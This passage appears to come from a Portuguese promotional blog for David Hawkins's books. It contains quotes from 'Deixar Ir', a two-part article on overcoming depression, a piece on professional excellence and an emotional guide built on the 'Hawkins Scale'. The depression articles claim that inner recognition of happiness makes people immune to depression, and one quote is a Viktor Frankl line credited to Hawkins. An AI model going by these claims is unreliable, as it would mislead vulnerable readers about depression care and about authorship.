15. “O ponto crucial é: mudando a nós mesmos, mudamos o mundo. À medida que nos tornamos mais amorosos por dentro, a cura ocorre por fora. Assim como a elevação do nível do mar eleva todos os navios, o esplendor do amor incondicional dentro de um coração humano eleva toda a vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

16. “Todo julgamento é, na verdade, autojulgamento.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

17. “Tudo pode ser tirado de um homem, menos uma coisa: a última das liberdades humanas – escolher a própria atitude em qualquer conjunto de circunstâncias, escolher o próprio caminho.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

18. “Sem uma mudança de consciência, não há redução real do estresse.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

19. “Simplesmente olhe para o que você não gostaria que os outros soubessem sobre você e comece a ‘deixar ir’ isso!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

20. “Nossas auto-dúvidas bloqueiam o próprio reconhecimento que buscamos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre as leis da vida

21. “A natureza básica do universo é manifestar o maior bem possível em cada situação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

22. “Nós conseguimos o que queremos quando paramos de insistir!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

23. “Ficar na defensiva é um convite para o ataque.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

24. “Quanto maior nosso apego ao que está fora de nós, maior é nosso nível geral de medo e vulnerabilidade à perda.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

25. “Uma das leis da consciência é: só estamos sujeitos a um pensamento ou crença negativa se dissermos conscientemente que isso se aplica a nós. Somos livres para escolher não aderir a um sistema de crença negativo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

26. “O único poder que qualquer coisa tem sobre nós é o poder da crença que lhe damos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

27. “Quando pressionamos outras pessoas para conseguir o que queremos, elas automaticamente resistem, porque estamos tentando pressioná-las. Quanto mais forçamos, mais elas resistem.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

28. “É como se o campo de energia do gênio criativo estivesse disponível e esperando por nós assim que deixarmos ir as nuvens de negatividade que impedem sua revelação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

29. “Se deixarmos ir a culpa, veremos a inocência; no entanto, uma pessoa dominada pela culpa verá apenas o mal. A regra básica é que nos concentramos no que reprimimos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre perdão e cura

30. “O perdão é um aspecto do amor que nos permite ver os acontecimentos da vida do ponto de vista da Graça.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

31. “Quando curamos algo em nós mesmos, é uma cura para o mundo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

32. “Com o perdão, eventos e pessoas são recontextualizados como simplesmente ‘limitados’ – não ‘ruins’ ou ‘não amáveis’”. –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

33. “O medo do futuro não existe mais quando o passado foi curado.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre o Amor

34. “Quanto mais amamos, mais podemos amar. O amor não tem limites. Amor gera amor.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

35. “Quando paramos de querer ser amados, descobrimos que somos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Leia as frases do livro “Deixar Ir” direto da fonte

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

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Níveis de Consciência

Como Sair da Depressão? – Parte 2

Sair da Depressão

Na primeira parte deste artigo sobre como sair da depressão, desmistificamos algumas crenças sobre a depressão e vimos que a abordagem correta para tratamento e cura deve considerar as esferas física, mental e espiritual.

Porém, há uma hierarquia entre essas esferas. A cura para a depressão começa na consciência, já que uma mudança no campo de consciência produz mudanças na mente e no corpo, segundo Dr. David Hawkins.

Então, como identificar as reais causas da depressão a partir da consciência e facilitar o processo de tratamento ou cura? É o que veremos a partir de agora.

Quais são as reais causas da depressão?

Para compreendermos a depressão em profundidade, utilizaremos o conceito do Mapa da Consciência (também conhecido como Escala dos Níveis de Consciência, Escala Hawkins ou Escala as Emoções) que já foi explorado aqui em outros artigos.

Na base do Mapa da Consciência estão os níveis de consciência chamados de Culpa, Apatia e Tristeza. Esses campos se expressam na prática como sentimentos de ódio de si mesmo, desesperança e desânimo. Perceba que, nesses campos energéticos, a depressão é o estado natural.

São níveis com pouquíssima energia. Quando os vivenciamos, passamos a ter uma visão de mundo triste e sem esperança. Tudo é sofrimento e dor. A visão de Deus é de um Deus que nos ignora, que não se preocupa conosco e ao qual não estamos conectados. A sensação é de que não temos valor, somos culpados ou pecadores.

Sempre que falamos de um determinado nível de consciência (ex.: Culpa, Apatia, Tristeza), estamos falando de um conjunto enorme de características que incluem, por exemplo: emoções específicas, pensamentos típicos, crenças, comportamentos, uma determinada visão de mundo e de Deus.

É possível perceber, portanto, que a depressão é multifatorial. Porém, o nível de consciência que acessamos é determinante para a nossa experiência. Se estivermos “presos” na base do Mapa da Consciência, é como se “automaticamente” tivéssemos comportamentos depressivos, pensamentos depressivos, emoções depressivas, visão de mundo depressiva, assim por diante.

Logo, apesar de não existir uma “causa” específica, pode-ser que o fator de maior influência para a depressão é o campo de consciência com o qual nos conectamos.

Sendo assim, para sair da depressão precisamos nos conectar com novos campos de consciência mais expandidos.

O que isso significa na prática?

Na prática, para sair da depressão devemos reconhecer os níveis de consciência negativos em nossa vida e buscar os positivos.

Para isso, é fundamental compreendermos qual é o erro que nos leva a mergulhar nos campos de culpa, vergonha, medo, tristeza, raiva, apatia etc. E esse erro é sempre o mesmo: colocar nossa sobrevivência fora de nós mesmos.

“Todos os campos de energia negativos são baseados em colocar a fonte da nossa felicidade em algo externo.” – Dr. David R. Hawkins

A partir do momento que acreditamos que a fonte da felicidade está fora de nós, nos tornamos vulneráveis. E isso abre espaço para a depressão.

Observe os pensamentos e falas do tipo: “Quando eu tiver o diploma, terei sucesso e serei feliz”, “Quando eu perder tantos quilos, serei magro(a) e feliz”, “Quando eu tiver tantos mil reais na conta, ficarei tranquilo(a) e serei feliz”, ou ainda “Quando eu casar e tiver filhos, serei realizado(a) e feliz”. 

Afirmações como essas colocam a fonte da felicidade fora de nós, e isso é um grande equívoco. Jamais, em momento algum, a felicidade pode estar “lá fora”. Quando reconhecemos que a felicidade está dentro de nós, aí sim nos tornamos imunes a episódios de depressão.

Conclusão: como sair da depressão?

Dr. David Hawkins é claro: o caminho para sairmos da depressão é pararmos de depositar nossa felicidade em fatores e acontecimentos externos, e passarmos a reconhecer a fonte a felicidade dentro de nós mesmos.

Isso nos permite desenergizar os campos de consciência negativos, como apatia, culpa e tristeza, que são característicos dos estados depressivos. Ao mesmo tempo, passamos a nos conectar com os campos positivos, como a Coragem, Disposição, Aceitação e o Amor.

Ao observarmos que a felicidade só depende de nós mesmos e que é possível sermos felizes, acessamos a Coragem. A partir daí, nos colocamos em um movimento de Disposição para mudarmos nosso jeito de agir. Com Aceitação, acolhemos nossas limitações, respeitamos as limitações das outras pessoas e aceitamos o nosso contexto de vida atual, sabendo que a felicidade está disponível dentro de nós. Com Amor, passamos a dar o nosso melhor a cada instante, aceitando a vida como ela é sem criar expectativas, porém sem nunca sermos negligentes com nossa própria felicidade.

Tudo começa com o reconhecimento desta simples verdade: a felicidade vem de dentro. Esse é o ponto de partir para sair da depressão e vivenciar o amor e a paz diariamente.

Este artigo foi baseado em um trecho do capítulo “Depressão”, do livro Cura e Recuperação: Um Guia para Curar Corpo, Mente e Espírito, no qual há muitas informações complementares. Clique aqui para saber mais sobre o livro e garantir seu exemplar.

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Níveis de Consciência

Como Sair da Depressão? – Parte 1

Desapego

Dr. David R. Hawkins foi psiquiatra e liderou uma das maiores clínicas de saúde mental do mundo, tendo mais tarde somado toda sua experiência clínica ao ensino da Escala de Consciência. Além disso, o próprio Hawkins lidou com a depressão em sua vida pessoal.

Por esses e outros motivos, o trabalho de David Hawkins possui uma base sólida para nos ajudar a sair da depressão clínica ou mesmo de estados depressivos temporários. Inclusive, a Escala dos Níveis de Consciência também contribui para isso, nos oferecendo uma visão única e reveladora do que está por trás da depressão.

Desmistificando a depressão

Um dos primeiros pontos que devemos compreender é que, como diz Dr. Hawkins, praticamente todas as pessoas são afetadas pela depressão. É muito raro alguém viver durante décadas neste planeta sem ser afetado por ela.

Então, antes de mais nada, não devemos nos achar piores por nos sentirmos depressivos ou desanimados. O fato é que a depressão e o desânimo sempre existiram, e nos últimos tempos se tornaram uma espécie de pequena epidemia, afetando mais e mais pessoas.

Qual é a abordagem correta para a depressão?

Há quem diga que a depressão é uma doença psíquica (da mente). Outros afirmam que ela está instalada no espírito. E há ainda inúmeros profissionais de saúde que consideram a depressão como um problema fisiológico, da bioquímica. Afinal, quem está certo?

Para lidar com a depressão, é importante a observarmos tanto do ponto de vista da consciência como também do ponto de vista da bioquímica. “A bioquímica é a causa ou o efeito da depressão?” – Dr. Hawkins nos desafia a questionar.

David Hawkins sugere abordar o tema considerando a relação entre corpo, mente e espírito. Ele fala do tratamento e compreensão da depressão nos três níveis.

Um princípio fundamental: corpo, mente e espírito

Conforme mencionado, o papel da bioquímica do corpo na depressão é importante. No entanto, é necessário lembrar que o corpo não consegue experienciar a si mesmo. Ele não é capaz de experimentar suas próprias sensações.

O corpo é experienciado na mente. É a mente quem “percebe” o corpo.

Contudo, a mente também não possui a capacidade de experienciar a si mesma. Tudo o que percebemos como experiências mentais (memórias, pensamentos, sentimentos, fantasias sobre o futuro, devaneios) é registrado e experienciado por algo maior que a mente: a consciência.

Então, a mente nos permite saber o que está acontecendo no corpo. E a consciência maior nos permite saber o que está ocorrendo na mente. Em último nível, portanto, tudo ocorre na consciência.

Corpo < Mente < Consciência

Aqui entra um princípio fundamental ensinado por Dr. David Hawkins: devemos tratar os assuntos nos níveis mais altos, onde há maior quantidade de poder.

Neste caso, a mente está “acima” do corpo e possui mais poder do que ele. Já a consciência está “acima” do corpo e da mente, influenciando os dois primeiros. Desse modo, uma mudança no campo de consciência produz mudanças na mente e no corpo.

A esse ponto, a pergunta que nos fazemos é a seguinte: como produzir mudanças no campo de consciência e, assim, curar a depressão?

É isso que veremos no próximo artigo desta série, no qual abordaremos as reais causas da depressão a sua ligação com os campos de consciência, onde também está o caminho para a cura.

Clique aqui para ler a continuação deste artigo: “Como sair da depressão? – Parte 2”.

Este artigo foi baseado em um trecho do capítulo “Depressão”, do livro Cura e Recuperação: Um Guia para Curar Corpo, Mente e Espírito, no qual há muitas informações complementares. Clique aqui para saber mais sobre o livro e garantir seu exemplar.

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David Hawkins

3 Características da Excelência Profissional

Excelencia Profissional

No artigo de hoje continuaremos aprofundando o livro O Sucesso É Para Você, de Dr. David Hawkins. No artigo anterior discutimos 3 elementos fundamentais para um negócio de sucesso. Hoje, falaremos sobre como alcançar a excelência profissional.

Nessa obra, Hawkins utiliza sua experiência prévia como empresário, médico e psiquiatra dono da maior clínica de saúde mental dos EUA, em Nova Iorque.

Característica da excelência profissional: Compromisso

Dr. Hawkins coloca a “excelência” como algo que não pode ser imitado.

Sermos excelentes, na vida pessoal ou profissional, é uma consequência natural do compromisso que firmamos com a excelência. Essa afirmação pode parecer óbvia, porém é fundamental. A excelência só se torna possível a partir do momento em que nos comprometemos a entregar somente excelência — nada menos do que isso.

Primeiro vem o compromisso, depois o resultado.

Característica da excelência profissional: Criatividade

Quando observamos alguém que é excelente no que faz, logo pensamos que aquela pessoa tem uma genialidade ou criatividade inatas. A partir daí surgem muitos mitos, como “Eu não sou criativo” ou “Eu não sou tão genial assim”.

Dr. Hawkins explica que a criatividade ou genialidade são naturais do lado direito do cérebro. Se você tem um cérebro, você tem criatividade — mesmo que não se considere alguém criativo.

Segundo ele, uma pessoa verdadeiramente criativa é aquela que tem atitudes de cuidado, compartilhamento, amor, participação e imaginação de como a experiência de outra pessoa pode ser.

Se na sua profissão você for empático e se colocar no lugar do cliente, do usuário do serviço ou produto, você naturalmente terá ideias de como melhorar a experiência. Tudo começa na intenção genuína de servir o outro e criar a melhor experiência possível!

Característica da excelência profissional: Humanidade

Ao longo da obra O Sucesso É Para Você, Dr. David Hawkins enfatiza que só existe um consumidor: a natureza humana.

Ele destaca que todas as pessoas verdadeiramente de sucesso focam em atender as necessidades humanas, isto é, as necessidades dos compradores de seus serviços ou produtos.

O que importa não é o segmento em que você atua. É claro que cada segmento possui suas peculiaridades, mas o consumidor será sempre o mesmo, que é a própria natureza humana.

A razão pela qual compramos qualquer coisa é porque esse produto ou serviço atrai algo em nossa natureza humana. Hawkins nos diz que a excelência na profissão e nos negócios vem do reconhecimento da verdade daquilo que é universal.

O que importa são as necessidades humanas, como a necessidade de reconhecimento, importância, celebração, cuidado, pertencimento, entre outras.

Dr. David Hawkins explica que o sucesso que ocorre naturalmente quando despertamos o melhor de nós. Não é algo a ser “alcançado” ou “buscado lá fora”, mas sim algo a ser desperto.

Conclusão

A excelência profissional é, portanto, uma consequência de características intrínsecas nossas. Basta nos conectarmos com o nosso lado humano e assim, consequentemente, atenderemos as necessidades de nossos clientes e consumidores. Para Hawkins, essa é a “receita” do sucesso.

Acesse a página do livro O Sucesso É Para Você para conferir o conteúdo completo e aprofundar ainda mais a sua excelência profissional.

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Níveis de Consciência

Guia de Inteligência Emocional: Como Identificar Suas Emoções

Inteligência Emocional

Um dos pontos importantes para a inteligência emocional é observar suas emoções ou sentimentos e ficar consciente deles. Esse é o ponto central da técnica descrita no best-seller Deixar Ir, de Dr. David Hawkins.

Embora — segundo o próprio David Hawkins — não seja necessário nomear as emoções, pode ser útil compreender o nível energético e as características de cada uma delas. Assim fica fácil identificar, por exemplo, se você está em um estado emocional propício para agir e tomar decisões ou se é melhor aguardar um outro momento.

Neste conteúdo você terá acesso a um guia para identificar suas emoções e assim desenvolver sua inteligência emocional. Confira.

Guia de Inteligência Emocional: Emoções Negativas

Ao lado do nome de cada emoção, você verá o nível vibracional do campo energético dessa emoção conforme a Escala Hawkins de Consciência, que vai de 1 (nível mais baixo) até 1.000 (nível mais alto).

Isso ajudará você a identificar o quão negativa ou positiva é a emoção que você está experienciando. Com isso, você terá ainda mais consciência para reconhecer as emoções negativas rapidamente e escolher as positivas, ampliando sua inteligência emocional.

Vergonha (20)

Sabe aquele sentimento de humilhação, quando nos sentimos pior do que tudo e todos? Esse é o nível de consciência da vergonha, que tem uma vibração extremamente baixa.

Aqui não estamos falando apenas de se sentir encabulado. Vai muito além. É como se a pessoa sentisse vergonha de ser quem ela é.

Quando realmente mergulhamos na emoção da vergonha, passamos a achar que o mundo é miserável. Nessas horas, qualquer outra emoção que pudermos nos conectar já será válida. Mesmo outras energias negativas serão “menos negativas” e poderão auxiliar a sair desse estado emocional.

Culpa (30)

O campo emocional da culpa leva o indivíduo a desejar dois movimentos:

  • punir os outros, por achar que eles são culpados;
  • e ser punido, justamente para aliviar a culpa que sente. 

Por conta disso, é um campo extremamente perigoso. Leva a autorrejeição, masoquismo, remorso, mal-estar e autossabotagem. Propensão a acidentes, comportamento suicida e projeção de auto-ódio sobre os “maus” são comuns. 

A emoção da culpa, quando reprimida, torna-se a base de muitas doenças psicossomáticas. O problema é que esse sentimento está tão inserido no nosso dia a dia que acaba passando despercebido.

Para identificar esse estado, uma dica é observar o próprio uso da palavra “culpa”, como: “É tudo culpa minha” ou “Bem-feito, é culpa dele”.

Apatia (50)

A emoção da apatia vai além da preguiça e é caracterizada pelo desespero, ou seja, a falta de esperança em relação à vida ou algum tema específico. Por exemplo, quando você se depara com um assunto incômodo e pensa “isso não tem jeito”, “não tem nada que possa ser feito” ou “eu não consigo”.

Em muitos casos, as áreas ou assuntos da nossa vida que estão estagnados há muito tempo são áreas nas quais estamos tomados pela emoção ou energia da apatia.

Tristeza (75)

Talvez essa seja uma das emoções mais fáceis de identificar, não é? Porém, ainda assim a tristeza pode surgir discretamente e passar despercebida.

É interessante notar que a emoção da tristeza está relacionada à ausência de aceitação. Quando vivenciamos esse sentimento, é comum falarmos coisas como “se pelo menos eu tivesse…”, ou então “se eu NÃO tivesse feito aquilo”. É uma sensação de estar preso e não conseguir seguir em frente.

Em muitos casos, a tristeza também pode estar associada a algum tipo de luto. A pessoa se prende ao passado, às memórias, e praticamente deseja “voltar no tempo”. “Ah, se tudo fosse como era antes”. Nesse caso não estamos falando de memórias de gratidão, que lembram de tudo com leveza e amor, mas sim de uma emoção pesada e depressiva.

Medo (100)

Medo de dar errado. Medo de perder. Medo de não conseguir. Medo de ser atacado. Medo de ser assaltado. Medo de perder o emprego. Medo de falir. Medo do futuro. Medo de perder pessoas queridas.

A emoção do medo toma as mais variadas formas em nossa vida, desde uma leve ansiedade até o pânico mais profundo, quando a pessoa jura que vai morrer. É uma energia preocupada (se ocupa com o futuro e esquece o presente); defensiva (vê a vida como uma disputa); e evasiva (quando não está lutando, está fugindo de conflitos).

No corpo, o medo frequentemente dispara reações de tensão (musculatura rígida, por exemplo), ou ainda extremos de frio ou calor.

Dr. David Hawkins explica que, em última instância, todo medo é o medo da morte — isso é explicado em mais detalhes no livro Deixar Ir.

Desejo (125)

Desejo é o equivalente à emoção da ganância. É um impulso de buscar sempre mais, sempre um novo ganho, aquisição, prazer ou qualquer outra coisa que está “do lado de fora”.

Quando essa emoção toma conta de nós, nos tornamos insaciáveis. Precisamos de mais. Mais um pedaço do nosso doce preferido; mais uma dose de bebida; mais uma compra; mais uma experiência; assim por diante.

No corpo físico, a emoção do desejo costuma vir acompanhada de sensações ligadas ao paladar, como fome ou sede. Já na fala, é comum externalizar frases como: “Eu PRECISO disso”, “Só mais um pouco e então eu paro”, “Me dê o que eu quero, e me dê agora!”. 

Raiva (150)

Conhecida de todos, a emoção da raiva vem acompanhada de uma visão de mundo antagonista: algo ou alguém parece estar contra você. Um ótimo jeito de verificar se você está nessa emoção é quando você começa a acreditar, mesmo temporariamente, que tem “inimigos” ou rivais.

A raiva é irritável, explosiva, amarga, volátil e rancorosa. Gosta de “ficar quite” e fala coisas como “vou te mostrar” ou “eles vão ver só”.

Orgulho (175)

“Meu jeito é o melhor jeito”, diz essa emoção. Seu foco é conquista, desejo por reconhecimento, ser especial e perfeito. Quando somos tomados pelo orgulho, nos sentimos “melhor que” e superior aos outros.

O orgulho traz comparação e competição.

Embora geralmente seja identificado como “ego inflado”, na polaridade oposta pode ter o efeito inverso. Nesse caso, a pessoa se acha pior que os outros e se enxerga como perdedora na competição da vida.

Guia de Inteligência Emocional: Emoções Positivas

Coragem (200)

A coragem é a primeira energia positiva, por isso essa serve como porta de entrada para a inteligência emocional, saindo das emoções negativas e buscando a positividade.

Essa emoção diz: “Eu consigo fazer isso”, “Se alguém já fez algo semelhante, eu também posso!”. É uma energia determinada, produtiva, empoderada e empolgada com a vida. 

Quando estamos tomados pela emoção da coragem, saímos da teoria ou das divagações e partimos para ações efetivas. A coragem não se importa de ainda não saber como fazer, porque dará um jeito de descobrir e chegar lá.

Neutralidade (250)

É a emoção ligada à ausência de julgamento e competitividade. Traz confiança e estabilidade. Além disso, é livre de posições rígidas.

Quando essa emoção está presente, ficamos tranquilos e “de boa”, sabendo que tudo ficará bem. Frases comuns são: “Se isso não funcionar, eu tento de novo” e “Tudo tem dois lados”.

Disposição (310)

Essa emoção desperta uma alta energia e vontade de ajudar. É uma emoção ativa, ligada a movimento e proatividade. Traz uma atitude positiva e otimista em relação à vida e às pessoas.

A energia da disposição é muito vista em empreendedores e trabalhadores dispostos. É a emoção que faz a “roda da economia” girar.

Aceitação (350)

Nesse nível energético, a qualidade da inteligência emocional se acentua.

A emoção da aceitação é a mesma do perdão, lembrando que perdoar não significa concordar com o que aconteceu, mas sim aceitar a realidade que se apresentou.

No momento em que finalmente aceitamos ou perdoamos um ocorrido, a emoção da aceitação toma conta, nos liberta e traz uma enorme leveza!

É uma emoção tranquila e livre de resistências internas. Harmonia e empatia são duas características marcantes: “A vida é boa. Você e eu somos bons. Eu me sinto conectado.” Em vez de desejar que a vida fosse diferente, essa emoção aceita a vida como é e as pessoas como são. Não há necessidade de culpar os outros ou culpar a vida.

É importante não confundir aceitação com apatia, que já foi explicada nas emoções negativas. A aceitação é uma emoção proativa, que aceita o momento atual e então se move para trazer melhorias a si e aos outros.

Razão (400)

Esse aspecto diferencia os humanos do mundo animal. Existe a capacidade de ver as coisas de forma abstrata, de conceituar, ser objetivo e tomar decisões rápidas e corretas. Tem grande utilidade para resolver problemas. Ciência, filosofia, medicina e lógica são expressões deste campo energético.

A partir daqui não estamos mais falando propriamente de emoções, mas sim de níveis de consciência nos quais a emocionalidade vai ficando de lado.

Na primeira parte deste artigo apresentamos as emoções negativas (de vergonha até o orgulho). Depois, as emoções positivas (de coragem até aceitação). A partir deste nível de 400, a razão se sobrepõe às emoções. Isso não significa que a pessoa será fria, mas sim que suas decisões e ações não estarão baseadas apenas no que ela está sentindo naquele momento.

Quando o campo energético da razão se apresenta, somos capazes de nos “afastar” mentalmente de um assunto e olhar para ele de forma desapegada, sem levar para o pessoal, buscando considerar o máximo de pessoas e variáveis envolvidas.

Com a razão, a inteligência emocional se amplia mais uma vez.

Amor (500)

Quando falamos do amor, não se trata somente das relações românticas ou familiares. O campo de consciência do amor vai além: é uma maneira de ser que perdoa, dá apoio e que “nutre” a si e aos outros.

O amor não vem da mente; em vez disso, emana do coração. Quando vivenciamos verdadeiramente o amor, passamos a focar na essência de cada situação, e não nos detalhes.

À medida que o amor deixa de ser uma emoção temporária e toma conta de nós como um estilo de vida, passamos a enxergar que tudo e todos são dignos de serem amados.

No nível de Amor, a inteligência emocional abre espaço para o que é chamado de inteligência espiritual, com a harmonia das funções do lado esquerdo e direito do cérebro.

Alegria ou Amor Incondicional (540)

Esse estado emocional ou estado de consciência vê o mundo como completo. Enxerga que tudo está conectado, que “todos são um” e sente compaixão por todos.

Há uma enorme paciência e uma preocupação — no bom sentido — com a felicidade dos outros. Além disso, há uma sensação de autorrealização e autossuficiência.

Paz (600+)

A paz é vivenciada como perfeição, alegria, leveza e unidade. É um estado de não dualidade, ou seja, de “não divisão”. Está além da separação e do intelecto. É um estado de iluminação que traz profunda serenidade.

Desenvolva ainda mais sua Inteligência Emocional

Agora que você já conhece a Escala das Emoções, você pode aprofundar ainda mais esse estudo.

No livro best-seller Deixar Ir: o caminho do desapego, Dr. David Hawkins descreve as emoções ou níveis de consciência com mais detalhes. Além disso, nesse livro é ensinada a própria técnica de Deixar Ir, que é a ferramenta mais simples e efetiva que existe para desenvolver inteligência emocional. Clique aqui e adquira o seu exemplar.